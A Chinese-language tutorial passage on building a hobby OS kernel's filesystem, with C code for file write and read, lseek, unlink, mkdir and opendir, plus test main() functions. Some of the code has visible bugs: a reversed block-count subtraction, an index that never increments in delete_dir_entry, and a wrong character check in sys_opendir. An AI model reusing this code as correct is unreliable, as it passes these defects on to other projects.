/* 块地址已经收集到all_blocks中,下面开始写数据 */
file->fd_pos = file->fd_inode->i_size - 1; // 置fd_pos为文件大小-1,下面在写数据时随时更新
while (bytes_written < count) { // 直到写完所有数据
memset(io_buf, 0, BLOCK_SIZE);
sec_idx = file->fd_inode->i_size / BLOCK_SIZE;
sec_lba = all_blocks[sec_idx];
sec_off_bytes = file->fd_inode->i_size % BLOCK_SIZE;
sec_left_bytes = BLOCK_SIZE - sec_off_bytes;

/* 判断此次写入硬盘的数据大小 */
chunk_size = size_left < sec_left_bytes ? size_left : sec_left_bytes;
if (first_write_block) {
ide_read(cur_part->my_disk, sec_lba, io_buf, 1);
first_write_block = false;
}
memcpy(io_buf + sec_off_bytes, src, chunk_size);
ide_write(cur_part->my_disk, sec_lba, io_buf, 1);
printk("file write at lba 0x%x\n", sec_lba); //调试,完成后去掉

src += chunk_size; // 将指针推移到下个新数据
file->fd_inode->i_size += chunk_size; // 更新文件大小
file->fd_pos += chunk_size;
bytes_written += chunk_size;
size_left -= chunk_size;
}
inode_sync(cur_part, file->fd_inode, io_buf);
sys_free(all_blocks);
sys_free(io_buf);
return bytes_written;
}

接下来改进sys_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* 将buf中连续count个字节写入文件描述符fd,成功则返回写入的字节数,失败返回-1 */
int32_t sys_write(int32_t fd, const void* buf, uint32_t count) {
if (fd < 0) {
printk("sys_write: fd error\n");
return -1;
}
if (fd == stdout_no) {
char tmp_buf[1024] = {0};
memcpy(tmp_buf, buf, count);
console_put_str(tmp_buf);
return count;
}
uint32_t _fd = fd_local2global(fd);
struct file* wr_file = &file_table[_fd];
if (wr_file->fd_flag & O_WRONLY || wr_file->fd_flag & O_RDWR) {
uint32_t bytes_written = file_write(wr_file, buf, count);
return bytes_written;
} else {
console_put_str("sys_write: not allowed to write file without flag O_RDWR or O_WRONLY\n");
return -1;
}
}

write系统调用

1
2
3
4
/* 把buf中count个字符写入文件描述符fd */
uint32_t write(int32_t fd, const void* buf, uint32_t count) {
return _syscall3(SYS_WRITE, fd, buf, count);
}

下面修改一些其他文件就可以对新版write进行测试,main中测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");

uint32_t fd = sys_open("/file1", O_RDWR);
printf("fd:%d\n", fd);
sys_write(fd, "hello,world\n", 12);
sys_close(fd);
printf("%d closed now\n", fd);
while(1);
return 0;
}

测试结果如下,这里写入了0xA65处的内存

image-20200612181835991

下面用脚本文件查看0xA65处的内存,这里我连续运行了三次,数据写入和更新正确

读取文件

上面实现了写入的功能,下面添加读取文件file_read函数,还是老规矩,file文件中先添加框架,然后在fs文件中添加系统调用,实现和write类似,要判断是否超过12个块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/* 从文件file中读取count个字节写入buf, 返回读出的字节数,若到文件尾则返回-1 */
int32_t file_read(struct file* file, void* buf, uint32_t count) {
uint8_t* buf_dst = (uint8_t*)buf;
uint32_t size = count, size_left = size;

/* 若要读取的字节数超过了文件可读的剩余量, 就用剩余量做为待读取的字节数 */
if ((file->fd_pos + count) > file->fd_inode->i_size){ // 判断文件是否已读到文件尾
size = file->fd_inode->i_size - file->fd_pos;
size_left = size;
if (size == 0) { // 若到文件尾则返回-1
return -1;
}
}

uint8_t* io_buf = sys_malloc(BLOCK_SIZE);
if (io_buf == NULL) {
printk("file_read: sys_malloc for io_buf failed\n");
}
uint32_t* all_blocks = (uint32_t*)sys_malloc(BLOCK_SIZE + 48); // 用来记录文件所有的块地址
if (all_blocks == NULL) {
printk("file_read: sys_malloc for all_blocks failed\n");
return -1;
}

uint32_t block_read_start_idx = file->fd_pos / BLOCK_SIZE; // 数据所在块的起始地址
uint32_t block_read_end_idx = (file->fd_pos + size) / BLOCK_SIZE; // 数据所在块的终止地址
uint32_t read_blocks = block_read_start_idx - block_read_end_idx; // 如增量为0,表示数据在同一扇区
ASSERT(block_read_start_idx < 139 && block_read_end_idx < 139);

int32_t indirect_block_table; // 用来获取一级间接表地址
uint32_t block_idx; // 获取待读的块地址

/* 以下开始构建all_blocks块地址数组,专门存储用到的块地址(本程序中块大小同扇区大小) */
if (read_blocks == 0) { // 在同一扇区内读数据,不涉及到跨扇区读取
ASSERT(block_read_end_idx == block_read_start_idx);
if (block_read_end_idx < 12 ) { // 待读的数据在12个直接块之内
block_idx = block_read_end_idx;
all_blocks[block_idx] = file->fd_inode->i_sectors[block_idx];
} else {// 若用到了一级间接块表,需要将表中间接块读进来
indirect_block_table = file->fd_inode->i_sectors[12];
ide_read(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1);
}
} else { // 若要读多个块
/* 第一种情况: 起始块和终止块属于直接块*/
if (block_read_end_idx < 12 ) { // 数据结束所在的块属于直接块
block_idx = block_read_start_idx;
while (block_idx <= block_read_end_idx) {
all_blocks[block_idx] = file->fd_inode->i_sectors[block_idx];
block_idx++;
}
} else if (block_read_start_idx < 12 && block_read_end_idx >= 12) {
/* 第二种情况: 待读入的数据跨越直接块和间接块两类*/
/* 先将直接块地址写入all_blocks */
block_idx = block_read_start_idx;
while (block_idx < 12) {
all_blocks[block_idx] = file->fd_inode->i_sectors[block_idx];
block_idx++;
}
ASSERT(file->fd_inode->i_sectors[12] != 0); // 确保已经分配了一级间接块表

/* 再将间接块地址写入all_blocks */
indirect_block_table = file->fd_inode->i_sectors[12];
ide_read(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1); // 将一级间接块表读进来写入到第13个块的位置之后
} else {
/* 第三种情况: 数据在间接块中*/
ASSERT(file->fd_inode->i_sectors[12] != 0); // 确保已经分配了一级间接块表
indirect_block_table = file->fd_inode->i_sectors[12]; // 获取一级间接表地址
ide_read(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1); // 将一级间接块表读进来写入到第13个块的位置之后
}
}

/* 用到的块地址已经收集到all_blocks中,下面开始读数据 */
uint32_t sec_idx, sec_lba, sec_off_bytes, sec_left_bytes, chunk_size;
uint32_t bytes_read = 0;
while (bytes_read < size) { // 直到读完为止
sec_idx = file->fd_pos / BLOCK_SIZE;
sec_lba = all_blocks[sec_idx];
sec_off_bytes = file->fd_pos % BLOCK_SIZE;
sec_left_bytes = BLOCK_SIZE - sec_off_bytes;
chunk_size = size_left < sec_left_bytes ? size_left : sec_left_bytes; // 待读入的数据大小

memset(io_buf, 0, BLOCK_SIZE);
ide_read(cur_part->my_disk, sec_lba, io_buf, 1);
memcpy(buf_dst, io_buf + sec_off_bytes, chunk_size);

buf_dst += chunk_size;
file->fd_pos += chunk_size;
bytes_read += chunk_size;
size_left -= chunk_size;
}
sys_free(all_blocks);
sys_free(io_buf);
return bytes_read;
}

接下来就是sys_read,其实就是对file_read的封装

1
2
3
4
5
6
7
8
9
10
/* 从文件描述符fd指向的文件中读取count个字节到buf,若成功则返回读出的字节数,到文件尾则返回-1 */
int32_t sys_read(int32_t fd, void* buf, uint32_t count) {
if (fd < 0) {
printk("sys_read: fd error\n");
return -1;
}
ASSERT(buf != NULL);
uint32_t _fd = fd_local2global(fd);
return file_read(&file_table[_fd], buf, count);
}

下面直接测试,main中测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");

uint32_t fd = sys_open("/file1", O_RDWR);
printf("open /file1, fd:%d\n", fd);
char buf[64] = {0};
int read_bytes = sys_read(fd, buf, 18);
printf("1_ read %d bytes:\n%s\n", read_bytes, buf);

memset(buf, 0, 64);
read_bytes = sys_read(fd, buf, 6);
printf("2_ read %d bytes:\n%s", read_bytes, buf);

memset(buf, 0, 64);
read_bytes = sys_read(fd, buf, 6);
printf("3_ read %d bytes:\n%s", read_bytes, buf);

printf("________ close file1 and reopen ________\n");
sys_close(fd);
fd = sys_open("/file1", O_RDWR);
memset(buf, 0, 64);
read_bytes = sys_read(fd, buf, 24);
printf("4_ read %d bytes:\n%s", read_bytes, buf);

sys_close(fd);
while(1);
return 0;
}

测试结果如下,和之前写入了三次helloworld数据相符

实现文件读写指针定位

这个功能类似lseek函数,本质上就是设置文件读写时的起始偏移量,我们需要自由设置文件指针,文件的读写偏移量的设置有三个标志,文件头,文件当前位置,文件尾。

1
2
3
4
5
6
7
// 文件读写位置偏移量
enum whence
{
SEEK_SET = 1,
SEEK_CUR,
SEEK_END
};

下面是具体实现,其中分别处理了三种flag的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* 重置用于文件读写操作的偏移指针,成功时返回新的偏移量,出错时返回-1 */
int32_t sys_lseek(int32_t fd, int32_t offset, uint8_t whence)
{
if (fd < 0)
{
return -1;
}
ASSERT(whence > 0 && whence < 4);
uint32_t _fd = fd_local2global(fd);
struct file *pf = &file_table[_fd];
int32_t new_pos = 0; //新的偏移量必须位于文件大小之内
int32_t file_size = (int32_t)pf->fd_inode->i_size;
switch (whence)
{
/* SEEK_SET 新的读写位置是相对于文件开头再增加offset个位移量 */
case SEEK_SET:
new_pos = offset;
break;

/* SEEK_CUR 新的读写位置是相对于当前的位置增加offset个位移量 */
case SEEK_CUR: // offse可正可负
new_pos = (int32_t)pf->fd_pos + offset;
break;

/* SEEK_END 新的读写位置是相对于文件尺寸再增加offset个位移量 */
case SEEK_END: // 此情况下,offset应该为负值
new_pos = file_size + offset;
}
if (new_pos < 0 || new_pos > (file_size - 1))
{
return -1;
}
pf->fd_pos = new_pos;
return pf->fd_pos;
}

实现文件删除

lseek函数就不单独测试了,下面实现文件删除函数,过程起始就是创建文件的逆过程,我们需要回收inode和删除目录项。

inode相关资源如下

  • inode位图
  • inode_table
  • inode中i_sectors[0~11]中的直接块和一级间接索引块表i_sector[12]中的间接块
  • 一级间接索引块表本身的扇区地址

目录项相关资源如下

  • 该文件对应的目录项数据需要清0
  • 根目录必须存在且不能被清空,该文件删除之后,目录中不存在目录项,需要回收目录项对应的块
  • 目录inode中的size需要减去该文件目录项大小
  • 将目录inode同步到硬盘

下面是删除inode部分,其中inode_delete是可有可无的,调试相关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/* 将硬盘分区part上的inode清空 */
void inode_delete(struct partition* part, uint32_t inode_no, void* io_buf) {
ASSERT(inode_no < 4096);
struct inode_position inode_pos;
inode_locate(part, inode_no, &inode_pos); // inode位置信息会存入inode_pos
ASSERT(inode_pos.sec_lba <= (part->start_lba + part->sec_cnt));

char* inode_buf = (char*)io_buf;
if (inode_pos.two_sec) { // inode跨扇区,读入2个扇区
/* 将原硬盘上的内容先读出来 */
ide_read(part->my_disk, inode_pos.sec_lba, inode_buf, 2);
/* 将inode_buf清0 */
memset((inode_buf + inode_pos.off_size), 0, sizeof(struct inode));
/* 用清0的内存数据覆盖磁盘 */
ide_write(part->my_disk, inode_pos.sec_lba, inode_buf, 2);
} else { // 未跨扇区,只读入1个扇区就好
/* 将原硬盘上的内容先读出来 */
ide_read(part->my_disk, inode_pos.sec_lba, inode_buf, 1);
/* 将inode_buf清0 */
memset((inode_buf + inode_pos.off_size), 0, sizeof(struct inode));
/* 用清0的内存数据覆盖磁盘 */
ide_write(part->my_disk, inode_pos.sec_lba, inode_buf, 1);
}
}

/* 回收inode的数据块和inode本身 */
void inode_release(struct partition* part, uint32_t inode_no) {
struct inode* inode_to_del = inode_open(part, inode_no);
ASSERT(inode_to_del->i_no == inode_no);

/* 1 回收inode占用的所有块 */
uint8_t block_idx = 0, block_cnt = 12;
uint32_t block_bitmap_idx;
uint32_t all_blocks[140] = {0}; //12个直接块+128个间接块

/* a 先将前12个直接块存入all_blocks */
while (block_idx < 12) {
all_blocks[block_idx] = inode_to_del->i_sectors[block_idx];
block_idx++;
}

/* b 如果一级间接块表存在,将其128个间接块读到all_blocks[12~], 并释放一级间接块表所占的扇区 */
if (inode_to_del->i_sectors[12] != 0) {
ide_read(part->my_disk, inode_to_del->i_sectors[12], all_blocks + 12, 1);
block_cnt = 140;

/* 回收一级间接块表占用的扇区 */
block_bitmap_idx = inode_to_del->i_sectors[12] - part->sb->data_start_lba;
ASSERT(block_bitmap_idx > 0);
bitmap_set(&part->block_bitmap, block_bitmap_idx, 0);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);
}

/* c inode所有的块地址已经收集到all_blocks中,下面逐个回收 */
block_idx = 0;
while (block_idx < block_cnt) {
if (all_blocks[block_idx] != 0) {
block_bitmap_idx = 0;
block_bitmap_idx = all_blocks[block_idx] - part->sb->data_start_lba;
ASSERT(block_bitmap_idx > 0);
bitmap_set(&part->block_bitmap, block_bitmap_idx, 0);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);
}
block_idx++;
}

/*2 回收该inode所占用的inode */
bitmap_set(&part->inode_bitmap, inode_no, 0);
bitmap_sync(cur_part, inode_no, INODE_BITMAP);

/****** 以下inode_delete是调试用的 ******
* 此函数会在inode_table中将此inode清0,
* 但实际上是不需要的,inode分配是由inode位图控制的,
* 硬盘上的数据不需要清0,可以直接覆盖*/
void* io_buf = sys_malloc(1024);
inode_delete(part, inode_no, io_buf);
sys_free(io_buf);
/***********************************************/

inode_close(inode_to_del);
}

删除目录项部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/* 把分区part目录pdir中编号为inode_no的目录项删除 */
bool delete_dir_entry(struct partition* part, struct dir* pdir, uint32_t inode_no, void* io_buf) {
struct inode* dir_inode = pdir->inode;
uint32_t block_idx = 0, all_blocks[140] = {0};
/* 收集目录全部块地址 */
while (block_idx < 12) {
all_blocks[block_idx] = dir_inode->i_sectors[block_idx];
block_idx++;
}
if (dir_inode->i_sectors[12]) {
ide_read(part->my_disk, dir_inode->i_sectors[12], all_blocks + 12, 1);
}

/* 目录项在存储时保证不会跨扇区 */
uint32_t dir_entry_size = part->sb->dir_entry_size;
uint32_t dir_entrys_per_sec = (SECTOR_SIZE / dir_entry_size); // 每扇区最大的目录项数目
struct dir_entry* dir_e = (struct dir_entry*)io_buf;
struct dir_entry* dir_entry_found = NULL;
uint8_t dir_entry_idx, dir_entry_cnt;
bool is_dir_first_block = false; // 目录的第1个块

/* 遍历所有块,寻找目录项 */
block_idx = 0;
while (block_idx < 140) {
is_dir_first_block = false;
if (all_blocks[block_idx] == 0) {
block_idx++;
continue;
}
dir_entry_idx = dir_entry_cnt = 0;
memset(io_buf, 0, SECTOR_SIZE);
/* 读取扇区,获得目录项 */
ide_read(part->my_disk, all_blocks[block_idx], io_buf, 1);

/* 遍历所有的目录项,统计该扇区的目录项数量及是否有待删除的目录项 */
while (dir_entry_idx < dir_entrys_per_sec) {
if ((dir_e + dir_entry_idx)->f_type != FT_UNKNOWN) {
if (!strcmp((dir_e + dir_entry_idx)->filename, ".")) {
is_dir_first_block = true;
} else if (strcmp((dir_e + dir_entry_idx)->filename, ".") &&
strcmp((dir_e + dir_entry_idx)->filename, "..")) {
dir_entry_cnt++; // 统计此扇区内的目录项个数,用来判断删除目录项后是否回收该扇区
if ((dir_e + dir_entry_idx)->i_no == inode_no) { // 如果找到此i结点,就将其记录在dir_entry_found
ASSERT(dir_entry_found == NULL); // 确保目录中只有一个编号为inode_no的inode,找到一次后dir_entry_found就不再是NULL
dir_entry_found = dir_e + dir_entry_idx;
/* 找到后也继续遍历,统计总共的目录项数 */
}
}
}
dir_entry_idx++;
}

/* 若此扇区未找到该目录项,继续在下个扇区中找 */
if (dir_entry_found == NULL) {
block_idx++;
continue;
}

/* 在此扇区中找到目录项后,清除该目录项并判断是否回收扇区,随后退出循环直接返回 */
ASSERT(dir_entry_cnt >= 1);
/* 除目录第1个扇区外,若该扇区上只有该目录项自己,则将整个扇区回收 */
if (dir_entry_cnt == 1 && !is_dir_first_block) {
/* a 在块位图中回收该块 */
uint32_t block_bitmap_idx = all_blocks[block_idx] - part->sb->data_start_lba;
bitmap_set(&part->block_bitmap, block_bitmap_idx, 0);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

/* b 将块地址从数组i_sectors或索引表中去掉 */
if (block_idx < 12) {
dir_inode->i_sectors[block_idx] = 0;
} else { // 在一级间接索引表中擦除该间接块地址
/*先判断一级间接索引表中间接块的数量,如果仅有这1个间接块,连同间接索引表所在的块一同回收 */
uint32_t indirect_blocks = 0;
uint32_t indirect_block_idx = 12;
while (indirect_block_idx < 140) {
if (all_blocks[indirect_block_idx] != 0) {
indirect_blocks++;
}
}
ASSERT(indirect_blocks >= 1); // 包括当前间接块

if (indirect_blocks > 1) { // 间接索引表中还包括其它间接块,仅在索引表中擦除当前这个间接块地址
all_blocks[block_idx] = 0;
ide_write(part->my_disk, dir_inode->i_sectors[12], all_blocks + 12, 1);
} else {// 间接索引表中就当前这1个间接块,直接把间接索引表所在的块回收,然后擦除间接索引表块地址
/* 回收间接索引表所在的块 */
block_bitmap_idx = dir_inode->i_sectors[12] - part->sb->data_start_lba;
bitmap_set(&part->block_bitmap, block_bitmap_idx, 0);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

/* 将间接索引表地址清0 */
dir_inode->i_sectors[12] = 0;
}
}
} else { // 仅将该目录项清空
memset(dir_entry_found, 0, dir_entry_size);
ide_write(part->my_disk, all_blocks[block_idx], io_buf, 1);
}

/* 更新i结点信息并同步到硬盘 */
ASSERT(dir_inode->i_size >= dir_entry_size);
dir_inode->i_size -= dir_entry_size;
memset(io_buf, 0, SECTOR_SIZE * 2);
inode_sync(part, dir_inode, io_buf);

return true;
}
/* 所有块中未找到则返回false,若出现这种情况应该是serarch_file出错了 */
return false;
}

接下来就是sys_unlink的实现,Linux中删除文件是通过unlink系统调用,原型为int unlink(const char *pathname),成功删除返回0,否则返回-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/* 删除文件(非目录),成功返回0,失败返回-1 */
int32_t sys_unlink(const char* pathname) {
ASSERT(strlen(pathname) < MAX_PATH_LEN);

/* 先检查待删除的文件是否存在 */
struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record));
int inode_no = search_file(pathname, &searched_record);
ASSERT(inode_no != 0);
if (inode_no == -1) {
printk("file %s not found!\n", pathname);
dir_close(searched_record.parent_dir);
return -1;
}
if (searched_record.file_type == FT_DIRECTORY) {
printk("can`t delete a direcotry with unlink(), use rmdir() to instead\n");
dir_close(searched_record.parent_dir);
return -1;
}

/* 检查是否在已打开文件列表(文件表)中 */
uint32_t file_idx = 0;
while (file_idx < MAX_FILE_OPEN) {
if (file_table[file_idx].fd_inode != NULL && (uint32_t)inode_no == file_table[file_idx].fd_inode->i_no) {
break;
}
file_idx++;
}
if (file_idx < MAX_FILE_OPEN) {
dir_close(searched_record.parent_dir);
printk("file %s is in use, not allow to delete!\n", pathname);
return -1;
}
ASSERT(file_idx == MAX_FILE_OPEN);

/* 为delete_dir_entry申请缓冲区 */
void* io_buf = sys_malloc(SECTOR_SIZE + SECTOR_SIZE);
if (io_buf == NULL) {
dir_close(searched_record.parent_dir);
printk("sys_unlink: malloc for io_buf failed\n");
return -1;
}

struct dir* parent_dir = searched_record.parent_dir;
delete_dir_entry(cur_part, parent_dir, inode_no, io_buf);
inode_release(cur_part, inode_no);
sys_free(io_buf);
dir_close(searched_record.parent_dir);
return 0; // 成功删除文件
}

接下来在main中测试

1
2
3
4
5
6
7
8
9
10
11
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");
printf("/file1 delete %s!\n", sys_unlink("/file1") == 0 ? "done" : "fail");
while(1);
return 0;
}

测试结果如下

创建目录

下面实现sys_mkdir函数创建目录,其原型是int mkdir(const char *pathname,mode_t mode),所涉及的步骤如下

  • 确认待创建的新目录在文件系统上不存在
  • 为新目录创建inode
  • 为新目录分配1个块储存该目录中的目录项
  • 在新目录中创建两个目录项”.”和”..”,这是每个目录都必须存在的两个目录项
  • 在新目录的父目录中添加新目录的目录项
  • 将资源同步到硬盘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/* 创建目录pathname,成功返回0,失败返回-1 */
int32_t sys_mkdir(const char* pathname) {
uint8_t rollback_step = 0; // 用于操作失败时回滚各资源状态
void* io_buf = sys_malloc(SECTOR_SIZE * 2);
if (io_buf == NULL) {
printk("sys_mkdir: sys_malloc for io_buf failed\n");
return -1;
}

struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record));
int inode_no = -1;
inode_no = search_file(pathname, &searched_record);
if (inode_no != -1) { // 如果找到了同名目录或文件,失败返回
printk("sys_mkdir: file or directory %s exist!\n", pathname);
rollback_step = 1;
goto rollback;
} else { // 若未找到,也要判断是在最终目录没找到还是某个中间目录不存在
uint32_t pathname_depth = path_depth_cnt((char*)pathname);
uint32_t path_searched_depth = path_depth_cnt(searched_record.searched_path);
/* 先判断是否把pathname的各层目录都访问到了,即是否在某个中间目录就失败了 */
if (pathname_depth != path_searched_depth) { // 说明并没有访问到全部的路径,某个中间目录是不存在的
printk("sys_mkdir: can`t access %s, subpath %s is`t exist\n", pathname, searched_record.searched_path);
rollback_step = 1;
goto rollback;
}
}

struct dir* parent_dir = searched_record.parent_dir;
/* 目录名称后可能会有字符'/',所以最好直接用searched_record.searched_path,无'/' */
char* dirname = strrchr(searched_record.searched_path, '/') + 1;

inode_no = inode_bitmap_alloc(cur_part);
if (inode_no == -1) {
printk("sys_mkdir: allocate inode failed\n");
rollback_step = 1;
goto rollback;
}

struct inode new_dir_inode;
inode_init(inode_no, &new_dir_inode); // 初始化i结点

uint32_t block_bitmap_idx = 0; // 用来记录block对应于block_bitmap中的索引
int32_t block_lba = -1;
/* 为目录分配一个块,用来写入目录.和.. */
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("sys_mkdir: block_bitmap_alloc for create directory failed\n");
rollback_step = 2;
goto rollback;
}
new_dir_inode.i_sectors[0] = block_lba;
/* 每分配一个块就将位图同步到硬盘 */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
ASSERT(block_bitmap_idx != 0);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

/* 将当前目录的目录项'.'和'..'写入目录 */
memset(io_buf, 0, SECTOR_SIZE * 2); // 清空io_buf
struct dir_entry* p_de = (struct dir_entry*)io_buf;

/* 初始化当前目录"." */
memcpy(p_de->filename, ".", 1);
p_de->i_no = inode_no ;
p_de->f_type = FT_DIRECTORY;

p_de++;
/* 初始化当前目录".." */
memcpy(p_de->filename, "..", 2);
p_de->i_no = parent_dir->inode->i_no;
p_de->f_type = FT_DIRECTORY;
ide_write(cur_part->my_disk, new_dir_inode.i_sectors[0], io_buf, 1);

new_dir_inode.i_size = 2 * cur_part->sb->dir_entry_size;

/* 在父目录中添加自己的目录项 */
struct dir_entry new_dir_entry;
memset(&new_dir_entry, 0, sizeof(struct dir_entry));
create_dir_entry(dirname, inode_no, FT_DIRECTORY, &new_dir_entry);
memset(io_buf, 0, SECTOR_SIZE * 2); // 清空io_buf
if (!sync_dir_entry(parent_dir, &new_dir_entry, io_buf)) { // sync_dir_entry中将block_bitmap通过bitmap_sync同步到硬盘
printk("sys_mkdir: sync_dir_entry to disk failed!\n");
rollback_step = 2;
goto rollback;
}

/* 父目录的inode同步到硬盘 */
memset(io_buf, 0, SECTOR_SIZE * 2);
inode_sync(cur_part, parent_dir->inode, io_buf);

/* 将新创建目录的inode同步到硬盘 */
memset(io_buf, 0, SECTOR_SIZE * 2);
inode_sync(cur_part, &new_dir_inode, io_buf);

/* 将inode位图同步到硬盘 */
bitmap_sync(cur_part, inode_no, INODE_BITMAP);

sys_free(io_buf);

/* 关闭所创建目录的父目录 */
dir_close(searched_record.parent_dir);
return 0;

/*创建文件或目录需要创建相关的多个资源,若某步失败则会执行到下面的回滚步骤 */
rollback: // 因为某步骤操作失败而回滚
switch (rollback_step) {
case 2:
bitmap_set(&cur_part->inode_bitmap, inode_no, 0); // 如果新文件的inode创建失败,之前位图中分配的inode_no也要恢复
case 1:
/* 关闭所创建目录的父目录 */
dir_close(searched_record.parent_dir);
break;
}
sys_free(io_buf);
return -1;
}

接下来进行测试,因为前面删除了file1文件,这里重新创建一个进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");
printf("/dir1/subdir1 create %s!\n", sys_mkdir("/dir1/subdir1") == 0 ? "done" : "fail");
printf("/dir1 create %s!\n", sys_mkdir("/dir1") == 0 ? "done" : "fail");
printf("now, /dir1/subdir1 create %s!\n", sys_mkdir("/dir1/subdir1") == 0 ? "done" : "fail");
int fd = sys_open("/dir1/subdir1/file2", O_CREAT|O_RDWR);
if (fd != -1) {
printf("/dir1/subdir1/file2 create done!\n");
sys_write(fd, "Catch me if you can!\n", 21);
sys_lseek(fd, 0, SEEK_SET);
char buf[32] = {0};
sys_read(fd, buf, 21);
printf("/dir1/subdir1/file2 says:\n%s", buf);
sys_close(fd);
}
while(1);
return 0;
}

测试结果如下

遍历目录

遍历目录的原型是opendir和closedir,本质是读取目录中所有的目录项,先打开目录然后遍历,最后关闭目录。下面是sys_opendir和sys_closedir的实现部分,根目录只是简单处理”/.”和”/..”的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* 目录打开成功后返回目录指针,失败返回NULL */
struct dir* sys_opendir(const char* name) {
ASSERT(strlen(name) < MAX_PATH_LEN);
/* 如果是根目录'/',直接返回&root_dir */
if (name[0] == '/' && (name[1] == 0 || name[0] == '.')) {
return &root_dir;
}

/* 先检查待打开的目录是否存在 */
struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record));
int inode_no = search_file(name, &searched_record);
struct dir* ret = NULL;
if (inode_no == -1) { // 如果找不到目录,提示不存在的路径
printk("In %s, sub path %s not exist\n", name, searched_record.searched_path);
} else {
if (searched_record.file_type == FT_REGULAR) {
printk("%s is regular file!\n", name);
} else if (searched_record.file_type == FT_DIRECTORY) {
ret = dir_open(cur_part, inode_no);
}
}
dir_close(searched_record.parent_dir);
return ret;
}

/* 成功关闭目录dir返回0,失败返回-1 */
int32_t sys_closedir(struct dir* dir) {
int32_t ret = -1;
if (dir != NULL) {
dir_close(dir);
ret = 0;
}
return ret;
}

下面简单测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");
struct dir* p_dir = sys_opendir("/dir1/subdir1");
if (p_dir) {
printf("/dir1/subdir1 open done!\n");
if (sys_closedir(p_dir) == 0) {
printf("/dir1/subdir1 close done!\n");
} else {
printf("/dir1/subdir1 close fail!\n");
}
} else {
printf("/dir1/subdir1 open fail!\n");
}
while(1);
return 0;
}

运行结果如下

我们的目的是遍历目录,我们已经实现了第一步打开和关闭,接下来实现读取目录函数readdir,读取目录的本质是读取目录中的目录项,readdir每次返回目录的一个目录项地址,遍历目录需要循环调用readdir函数,下面是具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
